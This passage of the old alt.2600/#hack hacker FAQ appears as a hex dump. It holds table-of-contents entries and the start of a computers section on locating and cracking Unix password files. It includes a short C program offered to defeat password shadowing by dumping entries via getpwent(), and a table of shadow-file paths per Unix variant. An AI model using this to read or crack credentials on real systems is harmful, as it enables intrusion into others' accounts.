|00001050| 6e 65 20 73 65 72 76 69 | 63 65 3f 0a 20 20 32 30 |ne servi|ce?. 20|
|00001060| 2e 20 57 68 61 74 20 69 | 73 20 73 63 61 6e 6e 69 |. What i|s scanni|
|00001070| 6e 67 3f 0a 20 20 32 31 | 2e 20 49 73 20 73 63 61 |ng?. 21|. Is sca|
|00001080| 6e 6e 69 6e 67 20 69 6c | 6c 65 67 61 6c 3f 0a 20 |nning il|legal?. |
|00001090| 20 32 32 2e 20 57 68 65 | 72 65 20 63 61 6e 20 49 | 22. Whe|re can I|
|000010a0| 20 70 75 72 63 68 61 73 | 65 20 61 20 6c 69 6e 65 | purchas|e a line|
|000010b0| 6d 61 6e 27 73 20 68 61 | 6e 64 73 65 74 3f 0a 20 |man's ha|ndset?. |
|000010c0| 20 32 33 2e 20 57 68 61 | 74 20 61 72 65 20 74 68 | 23. Wha|t are th|
|000010d0| 65 20 44 54 4d 46 20 66 | 72 65 71 75 65 6e 63 69 |e DTMF f|requenci|
|000010e0| 65 73 3f 0a 20 20 32 34 | 2e 20 57 68 61 74 20 61 |es?. 24|. What a|
|000010f0| 72 65 20 74 68 65 20 66 | 72 65 71 75 65 6e 63 69 |re the f|requenci|
|00001100| 65 73 20 6f 66 20 74 68 | 65 20 74 65 6c 65 70 68 |es of th|e teleph|
|00001110| 6f 6e 65 20 74 6f 6e 65 | 73 3f 0a 55 20 32 35 2e |one tone|s?.U 25.|
|00001120| 20 57 68 61 74 20 61 72 | 65 20 61 6c 6c 20 6f 66 | What ar|e all of|
|00001130| 20 74 68 65 20 2a 20 63 | 6f 64 65 73 3f 0a 20 20 | the * c|odes?. |
|00001140| 32 36 2e 20 57 68 61 74 | 20 66 72 65 71 75 65 6e |26. What| frequen|
|00001150| 63 69 65 73 20 64 6f 20 | 63 6f 72 64 6c 65 73 73 |cies do |cordless|
|00001160| 20 70 68 6f 6e 65 73 20 | 6f 70 65 72 61 74 65 20 | phones |operate |
|00001170| 6f 6e 3f 0a 0a 0a 53 65 | 63 74 69 6f 6e 20 43 3a |on?...Se|ction C:|
|00001180| 20 52 65 73 6f 75 72 63 | 65 73 0a 0a 55 20 30 31 | Resourc|es..U 01|
|00001190| 2e 20 57 68 61 74 20 61 | 72 65 20 73 6f 6d 65 20 |. What a|re some |
|000011a0| 66 74 70 20 73 69 74 65 | 73 20 6f 66 20 69 6e 74 |ftp site|s of int|
|000011b0| 65 72 65 73 74 20 74 6f | 20 68 61 63 6b 65 72 73 |erest to| hackers|
|000011c0| 3f 0a 55 20 30 32 2e 20 | 57 68 61 74 20 61 72 65 |?.U 02. |What are|
|000011d0| 20 73 6f 6d 65 20 6e 65 | 77 73 67 72 6f 75 70 73 | some ne|wsgroups|
|000011e0| 20 6f 66 20 69 6e 74 65 | 72 65 73 74 20 74 6f 20 | of inte|rest to |
|000011f0| 68 61 63 6b 65 72 73 3f | 0a 55 20 30 33 2e 20 57 |hackers?|.U 03. W|
|00001200| 68 61 74 20 61 72 65 20 | 73 6f 6d 65 20 74 65 6c |hat are |some tel|
|00001210| 6e 65 74 20 73 69 74 65 | 73 20 6f 66 20 69 6e 74 |net site|s of int|
|00001220| 65 72 65 73 74 20 74 6f | 20 68 61 63 6b 65 72 73 |erest to| hackers|
|00001230| 3f 0a 55 20 30 34 2e 20 | 57 68 61 74 20 61 72 65 |?.U 04. |What are|
|00001240| 20 73 6f 6d 65 20 67 6f | 70 68 65 72 20 73 69 74 | some go|pher sit|
|00001250| 65 73 20 6f 66 20 69 6e | 74 65 72 65 73 74 20 74 |es of in|terest t|
|00001260| 6f 20 68 61 63 6b 65 72 | 73 3f 0a 55 20 30 35 2e |o hacker|s?.U 05.|
|00001270| 20 57 68 61 74 20 61 72 | 65 20 73 6f 6d 65 20 57 | What ar|e some W|
|00001280| 6f 72 6c 64 20 77 69 64 | 65 20 57 65 62 20 28 57 |orld wid|e Web (W|
|00001290| 57 57 29 20 73 69 74 65 | 73 20 6f 66 20 69 6e 74 |WW) site|s of int|
|000012a0| 65 72 65 73 74 20 74 6f | 20 68 61 63 6b 65 72 73 |erest to| hackers|
|000012b0| 3f 0a 20 20 30 36 2e 20 | 57 68 61 74 20 61 72 65 |?. 06. |What are|
|000012c0| 20 73 6f 6d 65 20 49 52 | 43 20 63 68 61 6e 6e 65 | some IR|C channe|
|000012d0| 6c 73 20 6f 66 20 69 6e | 74 65 72 65 73 74 20 74 |ls of in|terest t|
|000012e0| 6f 20 68 61 63 6b 65 72 | 73 3f 0a 55 20 30 37 2e |o hacker|s?.U 07.|
|000012f0| 20 57 68 61 74 20 61 72 | 65 20 73 6f 6d 65 20 42 | What ar|e some B|
|00001300| 42 53 27 73 20 6f 66 20 | 69 6e 74 65 72 65 73 74 |BS's of |interest|
|00001310| 20 74 6f 20 68 61 63 6b | 65 72 73 3f 0a 55 20 30 | to hack|ers?.U 0|
|00001320| 38 2e 20 57 68 61 74 20 | 62 6f 6f 6b 73 20 61 72 |8. What |books ar|
|00001330| 65 20 61 76 61 69 6c 61 | 62 6c 65 20 6f 6e 20 74 |e availa|ble on t|
|00001340| 68 69 73 20 73 75 62 6a | 65 63 74 3f 0a 55 20 30 |his subj|ect?.U 0|
|00001350| 39 2e 20 57 68 61 74 20 | 61 72 65 20 73 6f 6d 65 |9. What |are some|
|00001360| 20 6d 61 69 6c 69 6e 67 | 20 6c 69 73 74 73 20 6f | mailing| lists o|
|00001370| 66 20 69 6e 74 65 72 65 | 73 74 20 74 6f 20 68 61 |f intere|st to ha|
|00001380| 63 6b 65 72 73 3f 0a 55 | 20 31 30 2e 20 57 68 61 |ckers?.U| 10. Wha|
|00001390| 74 20 61 72 65 20 73 6f | 6d 65 20 70 72 69 6e 74 |t are so|me print|
|000013a0| 20 6d 61 67 61 7a 69 6e | 65 73 20 6f 66 20 69 6e | magazin|es of in|
|000013b0| 74 65 72 65 73 74 20 74 | 6f 20 68 61 63 6b 65 72 |terest t|o hacker|
|000013c0| 73 3f 0a 55 20 31 31 2e | 20 57 68 61 74 20 61 72 |s?.U 11.| What ar|
|000013d0| 65 20 73 6f 6d 65 20 6f | 72 67 61 6e 69 7a 61 74 |e some o|rganizat|
|000013e0| 69 6f 6e 73 20 6f 66 20 | 69 6e 74 65 72 65 73 74 |ions of |interest|
|000013f0| 20 74 6f 20 68 61 63 6b | 65 72 73 3f 0a 20 20 31 | to hack|ers?. 1|
|00001400| 32 2e 20 57 68 65 72 65 | 20 63 61 6e 20 49 20 70 |2. Where| can I p|
|00001410| 75 72 63 68 61 73 65 20 | 61 20 6d 61 67 6e 65 74 |urchase |a magnet|
|00001420| 69 63 20 73 74 72 69 70 | 65 20 65 6e 63 6f 64 65 |ic strip|e encode|
|00001430| 72 2f 64 65 63 6f 64 65 | 72 3f 0a 4e 20 31 33 2e |r/decode|r?.N 13.|
|00001440| 20 57 68 61 74 20 61 72 | 65 20 74 68 65 20 72 61 | What ar|e the ra|
|00001450| 69 6e 62 6f 77 20 62 6f | 6f 6b 73 20 61 6e 64 20 |inbow bo|oks and |
|00001460| 68 6f 77 20 63 61 6e 20 | 49 20 67 65 74 20 74 68 |how can |I get th|
|00001470| 65 6d 3f 0a 0a 0a 53 65 | 63 74 69 6f 6e 20 44 3a |em?...Se|ction D:|
|00001480| 20 32 36 30 30 0a 0a 20 | 20 30 31 2e 20 57 68 61 | 2600.. | 01. Wha|
|00001490| 74 20 69 73 20 61 6c 74 | 2e 32 36 30 30 3f 0a 20 |t is alt|.2600?. |
|000014a0| 20 30 32 2e 20 57 68 61 | 74 20 64 6f 65 73 20 22 | 02. Wha|t does "|
|000014b0| 32 36 30 30 22 20 6d 65 | 61 6e 3f 0a 20 20 30 33 |2600" me|an?. 03|
|000014c0| 2e 20 41 72 65 20 74 68 | 65 72 65 20 6f 6e 2d 6c |. Are th|ere on-l|
|000014d0| 69 6e 65 20 76 65 72 73 | 69 6f 6e 73 20 6f 66 20 |ine vers|ions of |
|000014e0| 32 36 30 30 20 61 76 61 | 69 6c 61 62 6c 65 3f 0a |2600 ava|ilable?.|
|000014f0| 20 20 30 34 2e 20 49 20 | 63 61 6e 27 74 20 66 69 | 04. I |can't fi|
|00001500| 6e 64 20 32 36 30 30 20 | 61 74 20 61 6e 79 20 62 |nd 2600 |at any b|
|00001510| 6f 6f 6b 73 74 6f 72 65 | 73 2e 20 20 57 68 61 74 |ookstore|s. What|
|00001520| 20 63 61 6e 20 49 20 64 | 6f 3f 0a 20 20 30 35 2e | can I d|o?. 05.|
|00001530| 20 57 68 79 20 64 6f 65 | 73 20 32 36 30 30 20 63 | Why doe|s 2600 c|
|00001540| 6f 73 74 20 6d 6f 72 65 | 20 74 6f 20 73 75 62 73 |ost more| to subs|
|00001550| 63 72 69 62 65 20 74 6f | 20 74 68 61 6e 20 74 6f |cribe to| than to|
|00001560| 20 62 75 79 20 61 74 20 | 61 20 6e 65 77 73 73 74 | buy at |a newsst|
|00001570| 61 6e 64 3f 0a 0a 0a 53 | 65 63 74 69 6f 6e 20 45 |and?...S|ection E|
|00001580| 3a 20 4d 69 73 63 65 6c | 6c 61 6e 65 6f 75 73 0a |: Miscel|laneous.|
|00001590| 0a 20 20 30 31 2e 20 57 | 68 61 74 20 64 6f 65 73 |. 01. W|hat does|
|000015a0| 20 58 58 58 20 73 74 61 | 6e 64 20 66 6f 72 3f 0a | XXX sta|nd for?.|
|000015b0| 20 20 30 32 2e 20 48 6f | 77 20 64 6f 20 49 20 64 | 02. Ho|w do I d|
|000015c0| 65 74 65 72 6d 69 6e 65 | 20 69 66 20 49 20 68 61 |etermine| if I ha|
|000015d0| 76 65 20 61 20 76 61 6c | 69 64 20 63 72 65 64 69 |ve a val|id credi|
|000015e0| 74 20 63 61 72 64 20 6e | 75 6d 62 65 72 3f 0a 20 |t card n|umber?. |
|000015f0| 20 30 33 2e 20 57 68 61 | 74 20 62 61 6e 6b 20 69 | 03. Wha|t bank i|
|00001600| 73 73 75 65 64 20 74 68 | 69 73 20 63 72 65 64 69 |ssued th|is credi|
|00001610| 74 20 63 61 72 64 3f 0a | 20 20 30 34 2e 20 57 68 |t card?.| 04. Wh|
|00001620| 61 74 20 61 72 65 20 74 | 68 65 20 65 74 68 69 63 |at are t|he ethic|
|00001630| 73 20 6f 66 20 68 61 63 | 6b 69 6e 67 3f 0a 55 20 |s of hac|king?.U |
|00001640| 30 35 2e 20 57 68 65 72 | 65 20 63 61 6e 20 49 20 |05. Wher|e can I |
|00001650| 67 65 74 20 61 20 63 6f | 70 79 20 6f 66 20 74 68 |get a co|py of th|
|00001660| 65 20 61 6c 74 2e 32 36 | 30 30 2f 23 68 61 63 6b |e alt.26|00/#hack|
|00001670| 20 46 41 51 3f 0a 0a 0a | 0a 55 20 3d 3d 20 55 70 | FAQ?...|.U == Up|
|00001680| 64 61 74 65 64 20 73 69 | 6e 63 65 20 6c 61 73 74 |dated si|nce last|
|00001690| 20 72 65 6c 65 61 73 65 | 20 6f 66 20 74 68 65 20 | release| of the |
|000016a0| 23 68 61 63 6b 20 46 41 | 51 0a 4e 20 3d 3d 20 4e |#hack FA|Q.N == N|
|000016b0| 65 77 20 73 69 6e 63 65 | 20 6c 61 73 74 20 72 65 |ew since| last re|
|000016c0| 6c 65 61 73 65 20 6f 66 | 20 74 68 65 20 23 68 61 |lease of| the #ha|
|000016d0| 63 6b 20 46 41 51 0a 0a | 0a 0a 0a 53 65 63 74 69 |ck FAQ..|...Secti|
|000016e0| 6f 6e 20 41 3a 20 43 6f | 6d 70 75 74 65 72 73 0a |on A: Co|mputers.|
|000016f0| 7e 7e 7e 7e 7e 7e 7e 7e | 7e 7e 7e 7e 7e 7e 7e 7e |~~~~~~~~|~~~~~~~~|
|00001700| 7e 7e 7e 7e 0a 0a 30 31 | 2e 20 48 6f 77 20 64 6f |~~~~..01|. How do|
|00001710| 20 49 20 61 63 63 65 73 | 73 20 74 68 65 20 70 61 | I acces|s the pa|
|00001720| 73 73 77 6f 72 64 20 66 | 69 6c 65 20 75 6e 64 65 |ssword f|ile unde|
|00001730| 72 20 55 6e 69 78 3f 0a | 0a 49 6e 20 73 74 61 6e |r Unix?.|.In stan|
|00001740| 64 61 72 64 20 55 6e 69 | 78 20 74 68 65 20 70 61 |dard Uni|x the pa|
|00001750| 73 73 77 6f 72 64 20 66 | 69 6c 65 20 69 73 20 2f |ssword f|ile is /|
|00001760| 65 74 63 2f 70 61 73 73 | 77 64 2e 20 20 4f 6e 20 |etc/pass|wd. On |
|00001770| 61 20 55 6e 69 78 20 73 | 79 73 74 65 6d 0a 77 69 |a Unix s|ystem.wi|
|00001780| 74 68 20 65 69 74 68 65 | 72 20 4e 49 53 2f 79 70 |th eithe|r NIS/yp|
|00001790| 20 6f 72 20 70 61 73 73 | 77 6f 72 64 20 73 68 61 | or pass|word sha|
|000017a0| 64 6f 77 69 6e 67 2c 20 | 6d 75 63 68 20 6f 66 20 |dowing, |much of |
|000017b0| 74 68 65 20 70 61 73 73 | 77 6f 72 64 20 64 61 74 |the pass|word dat|
|000017c0| 61 0a 6d 61 79 20 62 65 | 20 65 6c 73 65 77 68 65 |a.may be| elsewhe|
|000017d0| 72 65 2e 0a 0a 0a 30 32 | 2e 20 48 6f 77 20 64 6f |re....02|. How do|
|000017e0| 20 49 20 63 72 61 63 6b | 20 55 6e 69 78 20 70 61 | I crack| Unix pa|
|000017f0| 73 73 77 6f 72 64 73 3f | 0a 0a 43 6f 6e 74 72 61 |sswords?|..Contra|
|00001800| 72 79 20 74 6f 20 70 6f | 70 75 6c 61 72 20 62 65 |ry to po|pular be|
|00001810| 6c 69 65 66 2c 20 55 6e | 69 78 20 70 61 73 73 77 |lief, Un|ix passw|
|00001820| 6f 72 64 73 20 63 61 6e | 6e 6f 74 20 62 65 20 64 |ords can|not be d|
|00001830| 65 63 72 79 70 74 65 64 | 2e 20 20 55 6e 69 78 0a |ecrypted|. Unix.|
|00001840| 70 61 73 73 77 6f 72 64 | 73 20 61 72 65 20 65 6e |password|s are en|
|00001850| 63 72 79 70 74 65 64 20 | 77 69 74 68 20 61 20 6f |crypted |with a o|
|00001860| 6e 65 20 77 61 79 20 66 | 75 6e 63 74 69 6f 6e 2e |ne way f|unction.|
|00001870| 20 20 54 68 65 20 6c 6f | 67 69 6e 20 70 72 6f 67 | The lo|gin prog|
|00001880| 72 61 6d 0a 65 6e 63 72 | 79 70 74 73 20 74 68 65 |ram.encr|ypts the|
|00001890| 20 74 65 78 74 20 79 6f | 75 20 65 6e 74 65 72 20 | text yo|u enter |
|000018a0| 61 74 20 74 68 65 20 22 | 70 61 73 73 77 6f 72 64 |at the "|password|
|000018b0| 3a 22 20 70 72 6f 6d 70 | 74 20 61 6e 64 20 63 6f |:" promp|t and co|
|000018c0| 6d 70 61 72 65 73 0a 74 | 68 61 74 20 65 6e 63 72 |mpares.t|hat encr|
|000018d0| 79 70 74 65 64 20 73 74 | 72 69 6e 67 20 61 67 61 |ypted st|ring aga|
|000018e0| 69 6e 73 74 20 74 68 65 | 20 65 6e 63 72 79 70 74 |inst the| encrypt|
|000018f0| 65 64 20 66 6f 72 6d 20 | 6f 66 20 79 6f 75 72 20 |ed form |of your |
|00001900| 70 61 73 73 77 6f 72 64 | 2e 0a 0a 50 61 73 73 77 |password|...Passw|
|00001910| 6f 72 64 20 63 72 61 63 | 6b 69 6e 67 20 73 6f 66 |ord crac|king sof|
|00001920| 74 77 61 72 65 20 75 73 | 65 73 20 77 6f 72 64 6c |tware us|es wordl|
|00001930| 69 73 74 73 2e 20 20 45 | 61 63 68 20 77 6f 72 64 |ists. E|ach word|
|00001940| 20 69 6e 20 74 68 65 20 | 77 6f 72 64 6c 69 73 74 | in the |wordlist|
|00001950| 0a 69 73 20 65 6e 63 72 | 79 70 74 65 64 20 61 6e |.is encr|ypted an|
|00001960| 64 20 74 68 65 20 72 65 | 73 75 6c 74 73 20 61 72 |d the re|sults ar|
|00001970| 65 20 63 6f 6d 70 61 72 | 65 64 20 74 6f 20 74 68 |e compar|ed to th|
|00001980| 65 20 65 6e 63 72 79 70 | 74 65 64 20 66 6f 72 6d |e encryp|ted form|
|00001990| 20 6f 66 20 74 68 65 0a | 74 61 72 67 65 74 20 70 | of the.|target p|
|000019a0| 61 73 73 77 6f 72 64 2e | 0a 0a 54 68 65 20 62 65 |assword.|..The be|
|000019b0| 73 74 20 63 72 61 63 6b | 69 6e 67 20 70 72 6f 67 |st crack|ing prog|
|000019c0| 72 61 6d 20 66 6f 72 20 | 55 6e 69 78 20 70 61 73 |ram for |Unix pas|
|000019d0| 73 77 6f 72 64 73 20 69 | 73 20 63 75 72 72 65 6e |swords i|s curren|
|000019e0| 74 6c 79 20 43 72 61 63 | 6b 20 62 79 0a 41 6c 65 |tly Crac|k by.Ale|
|000019f0| 63 20 4d 75 66 66 65 74 | 74 2e 20 20 46 6f 72 20 |c Muffet|t. For |
|00001a00| 50 43 2d 44 4f 53 2c 20 | 74 68 65 20 62 65 73 74 |PC-DOS, |the best|
|00001a10| 20 70 61 63 6b 61 67 65 | 20 74 6f 20 75 73 65 20 | package| to use |
|00001a20| 69 73 20 63 75 72 72 65 | 6e 74 6c 79 0a 43 72 61 |is curre|ntly.Cra|
|00001a30| 63 6b 65 72 4a 61 63 6b | 2e 0a 0a 0a 30 33 2e 20 |ckerJack|....03. |
|00001a40| 57 68 61 74 20 69 73 20 | 70 61 73 73 77 6f 72 64 |What is |password|
|00001a50| 20 73 68 61 64 6f 77 69 | 6e 67 3f 0a 0a 50 61 73 | shadowi|ng?..Pas|
|00001a60| 73 77 6f 72 64 20 73 68 | 61 64 6f 77 69 6e 67 20 |sword sh|adowing |
|00001a70| 69 73 20 61 20 73 65 63 | 75 72 69 74 79 20 73 79 |is a sec|urity sy|
|00001a80| 73 74 65 6d 20 77 68 65 | 72 65 20 74 68 65 20 65 |stem whe|re the e|
|00001a90| 6e 63 72 79 70 74 65 64 | 20 70 61 73 73 77 6f 72 |ncrypted| passwor|
|00001aa0| 64 0a 66 69 65 6c 64 20 | 6f 66 20 2f 65 74 63 2f |d.field |of /etc/|
|00001ab0| 70 61 73 73 77 64 20 69 | 73 20 72 65 70 6c 61 63 |passwd i|s replac|
|00001ac0| 65 64 20 77 69 74 68 20 | 61 20 73 70 65 63 69 61 |ed with |a specia|
|00001ad0| 6c 20 74 6f 6b 65 6e 20 | 61 6e 64 20 74 68 65 0a |l token |and the.|
|00001ae0| 65 6e 63 72 79 70 74 65 | 64 20 70 61 73 73 77 6f |encrypte|d passwo|
|00001af0| 72 64 20 69 73 20 73 74 | 6f 72 65 64 20 69 6e 20 |rd is st|ored in |
|00001b00| 61 20 73 65 70 61 72 61 | 74 65 20 66 69 6c 65 20 |a separa|te file |
|00001b10| 77 68 69 63 68 20 69 73 | 20 6e 6f 74 20 72 65 61 |which is| not rea|
|00001b20| 64 61 62 6c 65 0a 62 79 | 20 6e 6f 72 6d 61 6c 20 |dable.by| normal |
|00001b30| 73 79 73 74 65 6d 20 75 | 73 65 72 73 2e 0a 0a 54 |system u|sers...T|
|00001b40| 6f 20 64 65 66 65 61 74 | 20 70 61 73 73 77 6f 72 |o defeat| passwor|
|00001b50| 64 20 73 68 61 64 6f 77 | 69 6e 67 20 6f 6e 20 6d |d shadow|ing on m|
|00001b60| 61 6e 79 20 28 62 75 74 | 20 6e 6f 74 20 61 6c 6c |any (but| not all|
|00001b70| 29 20 73 79 73 74 65 6d | 73 2c 20 77 72 69 74 65 |) system|s, write|
|00001b80| 20 61 0a 70 72 6f 67 72 | 61 6d 20 74 68 61 74 20 | a.progr|am that |
|00001b90| 75 73 65 73 20 73 75 63 | 63 65 73 73 69 76 65 20 |uses suc|cessive |
|00001ba0| 63 61 6c 6c 73 20 74 6f | 20 67 65 74 70 77 65 6e |calls to| getpwen|
|00001bb0| 74 28 29 20 74 6f 20 6f | 62 74 61 69 6e 20 74 68 |t() to o|btain th|
|00001bc0| 65 0a 70 61 73 73 77 6f | 72 64 20 66 69 6c 65 2e |e.passwo|rd file.|
|00001bd0| 0a 0a 45 78 61 6d 70 6c | 65 3a 0a 0a 23 69 6e 63 |..Exampl|e:..#inc|
|00001be0| 6c 75 64 65 20 3c 70 77 | 64 2e 68 3e 0a 6d 61 69 |lude <pw|d.h>.mai|
|00001bf0| 6e 28 29 0a 7b 0a 73 74 | 72 75 63 74 20 70 61 73 |n().{.st|ruct pas|
|00001c00| 73 77 64 20 2a 70 3b 0a | 77 68 69 6c 65 28 70 3d |swd *p;.|while(p=|
|00001c10| 67 65 74 70 77 65 6e 74 | 28 29 29 0a 70 72 69 6e |getpwent|()).prin|
|00001c20| 74 66 28 22 25 73 3a 25 | 73 3a 25 64 3a 25 64 3a |tf("%s:%|s:%d:%d:|
|00001c30| 25 73 3a 25 73 3a 25 73 | 5c 6e 22 2c 20 70 2d 3e |%s:%s:%s|\n", p->|
|00001c40| 70 77 5f 6e 61 6d 65 2c | 20 70 2d 3e 70 77 5f 70 |pw_name,| p->pw_p|
|00001c50| 61 73 73 77 64 2c 0a 70 | 2d 3e 70 77 5f 75 69 64 |asswd,.p|->pw_uid|
|00001c60| 2c 20 70 2d 3e 70 77 5f | 67 69 64 2c 20 70 2d 3e |, p->pw_|gid, p->|
|00001c70| 70 77 5f 67 65 63 6f 73 | 2c 20 70 2d 3e 70 77 5f |pw_gecos|, p->pw_|
|00001c80| 64 69 72 2c 20 70 2d 3e | 70 77 5f 73 68 65 6c 6c |dir, p->|pw_shell|
|00001c90| 29 3b 0a 7d 0a 0a 0a 30 | 34 2e 20 57 68 65 72 65 |);.}...0|4. Where|
|00001ca0| 20 63 61 6e 20 49 20 66 | 69 6e 64 20 74 68 65 20 | can I f|ind the |
|00001cb0| 70 61 73 73 77 6f 72 64 | 20 66 69 6c 65 20 69 66 |password| file if|
|00001cc0| 20 69 74 27 73 20 73 68 | 61 64 6f 77 65 64 3f 0a | it's sh|adowed?.|
|00001cd0| 0a 55 6e 69 78 20 20 20 | 20 20 20 20 20 20 20 20 |.Unix | |
|00001ce0| 20 20 20 20 20 20 20 50 | 61 74 68 20 20 20 20 20 | P|ath |
|00001cf0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001d00| 20 20 20 20 20 20 20 54 | 6f 6b 65 6e 0a 2d 2d 2d | T|oken.---|
|00001d10| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00001d20| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00001d30| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00001d40| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 0a 41 |--------|------.A|
|00001d50| 49 58 20 33 20 20 20 20 | 20 20 20 20 20 20 20 20 |IX 3 | |
|00001d60| 20 20 20 20 20 2f 65 74 | 63 2f 73 65 63 75 72 69 | /et|c/securi|
|00001d70| 74 79 2f 70 61 73 73 77 | 64 20 20 20 20 20 20 20 |ty/passw|d |
|00001d80| 20 20 20 20 20 21 0a 20 | 20 20 20 20 20 20 6f 72 | !. | or|
|00001d90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 2f 74 63 | | /tc|
|00001da0| 62 2f 61 75 74 68 2f 66 | 69 6c 65 73 2f 3c 66 69 |b/auth/f|iles/<fi|
|00001db0| 72 73 74 20 6c 65 74 74 | 65 72 20 20 20 23 0a 20 |rst lett|er #. |
|00001dc0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001dd0| 20 20 20 20 20 20 20 20 | 20 20 20 6f 66 20 75 73 | | of us|
|00001de0| 65 72 6e 61 6d 65 3e 2f | 3c 75 73 65 72 6e 61 6d |ername>/|<usernam|
|00001df0| 65 3e 0a 41 2f 55 58 20 | 33 2e 30 73 20 20 20 20 |e>.A/UX |3.0s |
|00001e00| 20 20 20 20 20 20 20 20 | 20 2f 74 63 62 2f 66 69 | | /tcb/fi|
|00001e10| 6c 65 73 2f 61 75 74 68 | 2f 3f 2f 2a 0a 42 53 44 |les/auth|/?/*.BSD|
|00001e20| 34 2e 33 2d 52 65 6e 6f | 20 20 20 20 20 20 20 20 |4.3-Reno| |
|00001e30| 20 20 20 2f 65 74 63 2f | 6d 61 73 74 65 72 2e 70 | /etc/|master.p|
|00001e40| 61 73 73 77 64 20 20 20 | 20 20 20 20 20 20 20 20 |asswd | |
|00001e50| 20 20 20 2a 0a 43 6f 6e | 76 65 78 4f 53 20 31 30 | *.Con|vexOS 10|
|00001e60| 20 20 20 20 20 20 20 20 | 20 20 20 2f 65 74 63 2f | | /etc/|
|00001e70| 73 68 61 64 70 77 20 20 | 20 20 20 20 20 20 20 20 |shadpw | |
|00001e80| 20 20 20 20 20 20 20 20 | 20 20 20 2a 0a 43 6f 6e | | *.Con|
|00001e90| 76 65 78 4f 53 20 31 31 | 20 20 20 20 20 20 20 20 |vexOS 11| |
|00001ea0| 20 20 20 2f 65 74 63 2f | 73 68 61 64 6f 77 20 20 | /etc/|shadow |
|00001eb0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001ec0| 20 20 20 2a 0a 44 47 2f | 55 58 20 20 20 20 20 20 | *.DG/|UX |
|00001ed0| 20 20 20 20 20 20 20 20 | 20 20 20 2f 65 74 63 2f | | /etc/|
|00001ee0| 74 63 62 2f 61 61 2f 75 | 73 65 72 2f 20 20 20 20 |tcb/aa/u|ser/ |
|00001ef0| 20 20 20 20 20 20 20 20 | 20 20 20 2a 0a 45 50 2f | | *.EP/|
|00001f00| 49 58 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |IX | |
|00001f10| 20 20 20 2f 65 74 63 2f | 73 68 61 64 6f 77 20 20 | /etc/|shadow |
|00001f20| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001f30| 20 20 20 78 0a 48 50 2d | 55 58 20 20 20 20 20 20 | x.HP-|UX |
|00001f40| 20 20 20 20 20 20 20 20 | 20 20 20 2f 2e 73 65 63 | | /.sec|
|00001f50| 75 72 65 2f 65 74 63 2f | 70 61 73 73 77 64 20 20 |ure/etc/|passwd |
|00001f60| 20 20 20 20 20 20 20 20 | 20 20 20 2a 0a 49 52 49 | | *.IRI|
|00001f70| 58 20 35 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |X 5 | |
|00001f80| 20 20 20 2f 65 74 63 2f | 73 68 61 64 6f 77 20 20 | /etc/|shadow |
|00001f90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001fa0| 20 20 20 78 0a 4c 69 6e | 75 78 20 31 2e 31 20 20 | x.Lin|ux 1.1 |
|00001fb0| 20 20 20 20 20 20 20 20 | 20 20 20 2f 65 74 63 2f | | /etc/|
|00001fc0| 73 68 61 64 6f 77 20 20 | 20 20 20 20 20 20 20 20 |shadow | |
|00001fd0| 20 20 20 20 20 20 20 20 | 20 20 20 2a 0a 4f 53 46 | | *.OSF|
|00001fe0| 2f 31 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |/1 | |
|00001ff0| 20 20 20 2f 65 74 63 2f | 70 61 73 73 77 64 5b 2e | /etc/|passwd[.|
|00002000| 64 69 72 7c 2e 70 61 67 | 5d 20 20 20 20 20 20 20 |dir|.pag|] |
|00002010| 20 20 20 2a 0a 53 43 4f | 20 55 6e 69 78 20 23 2e | *.SCO| Unix #.|
|00002020| 32 2e 78 20 20 20 20 20 | 20 20 20 2f 74 63 62 2f |2.x | /tcb/|
|00002030| 61 75 74 68 2f 66 69 6c | 65 73 2f 3c 66 69 72 73 |auth/fil|es/<firs|
|00002040| 74 20 6c 65 74 74 65 72 | 20 20 20 2a 0a 20 20 20 |t letter| *. |
|00002050| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002060| 20 20 20 20 20 20 20 20 | 20 6f 66 20 75 73 65 72 | | of user|
|00002070| 6e 61 6d 65 3e 2f 3c 75 | 73 65 72 6e 61 6d 65 3e |name>/<u|sername>|
|00002080| 0a 53 75 6e 4f 53 34 2e | 31 2b 63 32 20 20 20 20 |.SunOS4.|1+c2 |
|00002090| 20 20 20 20 20 20 20 2f | 65 74 63 2f 73 65 63 75 | /|etc/secu|
|000020a0| 72 69 74 79 2f 70 61 73 | 73 77 64 2e 61 64 6a 75 |rity/pas|swd.adju|
|000020b0| 6e 63 74 20 20 20 20 23 | 23 75 73 65 72 6e 61 6d |nct #|#usernam|
|000020c0| 65 0a 53 75 6e 4f 53 20 | 35 2e 30 20 20 20 20 20 |e.SunOS |5.0 |
|000020d0| 20 20 20 20 20 20 20 20 | 2f 65 74 63 2f 73 68 61 | |/etc/sha|
|000020e0| 64 6f 77 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |dow. | |
|000020f0| 20 20 20 20 20 20 20 20 | 20 20 3c 6f 70 74 69 6f | | <optio|
|00002100| 6e 61 6c 20 4e 49 53 2b | 20 70 72 69 76 61 74 65 |nal NIS+| private|
|00002110| 20 73 65 63 75 72 65 20 | 6d 61 70 73 2f 74 61 62 | secure |maps/tab|
|00002120| 6c 65 73 2f 77 68 61 74 | 65 76 65 72 3e 0a 53 79 |les/what|ever>.Sy|
|00002130| 73 74 65 6d 20 56 20 52 | 65 6c 65 61 73 65 20 34 |stem V R|elease 4|
|00002140| 2e 30 20 20 2f 65 74 63 | 2f 73 68 61 64 6f 77 20 |.0 /etc|/shadow |
|00002150| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
